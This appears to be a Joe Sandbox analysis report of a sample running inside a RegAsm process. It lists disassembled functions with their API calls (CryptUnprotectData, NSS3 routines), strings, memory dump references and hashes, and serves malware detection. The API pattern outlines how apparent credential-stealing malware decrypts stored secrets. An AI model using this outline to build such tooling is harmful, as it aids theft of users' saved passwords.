Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 6C48CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C48D086
PR_Malloc.NSS3(00000001), ref: 6C48D0B9
PR_Free.NSS3(?), ref: 6C48D138

Strings

>, xrefs: 6C48CF5B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 0b61b9d64f3d7e2fdf2b3d76c0a797474c57842fd3d76d5c81ee61990a2d4064
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: CED15822B436470BFB14D87C8CA1FEA77938B82378F58432AD5219BBE5E619C843C351

Function 6C42AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d1ca8de307f1e40d1fe2b88d2e82b7db1634968f0e69ccf59bb5348b952c48e
Instruction ID: 9ce1723f923eebfdd3d22e2ff047cd52594e9465633a353bbc61d6eebc869170
Opcode Fuzzy Hash: 9d1ca8de307f1e40d1fe2b88d2e82b7db1634968f0e69ccf59bb5348b952c48e
Instruction Fuzzy Hash: 6EF1E571F011658BEB04EF29D882FA977F1AB4A309F15422DCD06E7764E778AA51CBC0

Function 6C3E0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C3E1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C3E1086

Strings

h(>l, xrefs: 6C3E0E55, 6C3E0EC4, 6C3E0F3A, 6C3E0FA7
h(>l, xrefs: 6C3E1062, 6C3E105D, 6C3E0F37, 6C3E1081, 6C3E1082

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID: h(>l$h(>l
API String ID: 1297977491-1426532513
Opcode ID: c08eba25e083ed97bc56b0184b2e8eb6ce80fb0b60707e41b9bfe6ea96b8882a
Instruction ID: 6f83208f88b20ad636ffbdb78e6c52e7546a49221257cf83576d0746b3d158d2
Opcode Fuzzy Hash: c08eba25e083ed97bc56b0184b2e8eb6ce80fb0b60707e41b9bfe6ea96b8882a
Instruction Fuzzy Hash: 2CA13D71B0125A9FDB08CF99C890AEEB7B6BF8C314B148129E915A7700DB35EC11DFA0

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 0041CEEA Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001CEA8), ref: 0041CEEF

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction ID: f83a9dfad8d9090bd4b69b445eb29f9fdcf7b9edf99be21673d757649d1b517e
Opcode Fuzzy Hash: f6481f596078bcb1dd932f2aa3c62ef353472a79660b18b0fa4186fad086ce80
Instruction Fuzzy Hash: 3B9002753912104A471417755D496C52A905E9D6067624861B506C4054DB988044551A

Function 6C368EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61c1150a0aa794ae15ea94709a5c984522d40a7dd182b3ae8d88db419cf55635
Instruction ID: 8dc18550dbcd34a3e34e2957ed6cddb2f9492f813b7edfb2ae8bf309c74debc2
Opcode Fuzzy Hash: 61c1150a0aa794ae15ea94709a5c984522d40a7dd182b3ae8d88db419cf55635
Instruction Fuzzy Hash: 3C11C132A002158BD704DF26E88475AB7B5FF4B35CF04426AD8158FE55C776E886CBD2

Function 6C440C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58fab1a7040fe51d74e27d955fcf3eadb287c12b2720ca65046f933a4ad68ab1
Instruction ID: 87510af178fc29ea435f33e505b5a7287e21dd7c8fef57ca73174c53b8651862
Opcode Fuzzy Hash: 58fab1a7040fe51d74e27d955fcf3eadb287c12b2720ca65046f933a4ad68ab1
Instruction Fuzzy Hash: 2A11BC75704249CFEB04DF28C880E6A77B2FF85368F24C069D8298B701DB71E8168BA0

Function 6C440D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 2c0e135f2b978d61a36998f0473ff7eac74c8714abab59d7ea1d6b2adf9d3906
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 03E06D7A202054A7EB14CE09C450EA97359DF9161AFB4C07DCC599BA01D633F8178B81

Function 00419750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6C29CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C26582D), ref: 6C29CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C26582D), ref: 6C29CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C2CFE98,?,?,?,?,?,6C26582D), ref: 6C29CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C26582D), ref: 6C29CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C26582D), ref: 6C29CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C26582D), ref: 6C29CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C26582D), ref: 6C29CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C29CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C29CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C29CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C29CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C29CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C29CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C29CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C29CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C29CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C29CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C29CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C29CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C29CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C29CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C29CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C29CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C29CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C29CE8A

Strings

nostacksampling, xrefs: 6C29CD7C
markersallthreads, xrefs: 6C29CE42
fileio, xrefs: 6C29CC92
cpuallthreads, xrefs: 6C29CE16
notimerresolutionchange, xrefs: 6C29CE00
unregisteredthreads, xrefs: 6C29CE58
leaf, xrefs: 6C29CC66
default, xrefs: 6C29CC21
screenshots, xrefs: 6C29CCD4
mainthreadio, xrefs: 6C29CC7C
jsallocations, xrefs: 6C29CD0E
java, xrefs: 6C29CC37
processcpu, xrefs: 6C29CE6E
fileioall, xrefs: 6C29CCA8
preferencereads, xrefs: 6C29CD92
audiocallbacktracing, xrefs: 6C29CDD4
samplingallthreads, xrefs: 6C29CE2C
noiostacks, xrefs: 6C29CCBE
nativeallocations, xrefs: 6C29CDA8
seqstyle, xrefs: 6C29CCE6
stackwalk, xrefs: 6C29CCF8
power, xrefs: 6C29CE84
ipcmessages, xrefs: 6C29CDBE
Unrecognized feature "%s"., xrefs: 6C29CEA0

Memory Dump Source

Source File: 00000002.00000002.2275453180.000000006C251000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C250000, based on PE: true

Associated: 00000002.00000002.2275438173.000000006C250000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275826475.000000006C2CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275886594.000000006C2DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2275906200.000000006C2E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c250000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f10526fa02fe62012f9552566b9683730b1df6c452f653b19ace973d337adb2e
Instruction ID: c67d08db9855b21dfa2fe13d194bed943b7324458c5120e8488630e1398b900c
Opcode Fuzzy Hash: f10526fa02fe62012f9552566b9683730b1df6c452f653b19ace973d337adb2e
Instruction Fuzzy Hash: FD5193C5B4522E12FA4431177D10FAB1408EF93A4BF14413AFD1EA2E94FB04E70A86B7

Function 6C4809D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C480A22

Part of subcall function 6C439DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DC6
Part of subcall function 6C439DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C480A27), ref: 6C439DD1
Part of subcall function 6C439DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C439DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C480A35

Part of subcall function 6C363810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C36382A
Part of subcall function 6C363810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C363879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C480A66
PR_GetCurrentThread.NSS3 ref: 6C480A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C480A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C480AC8
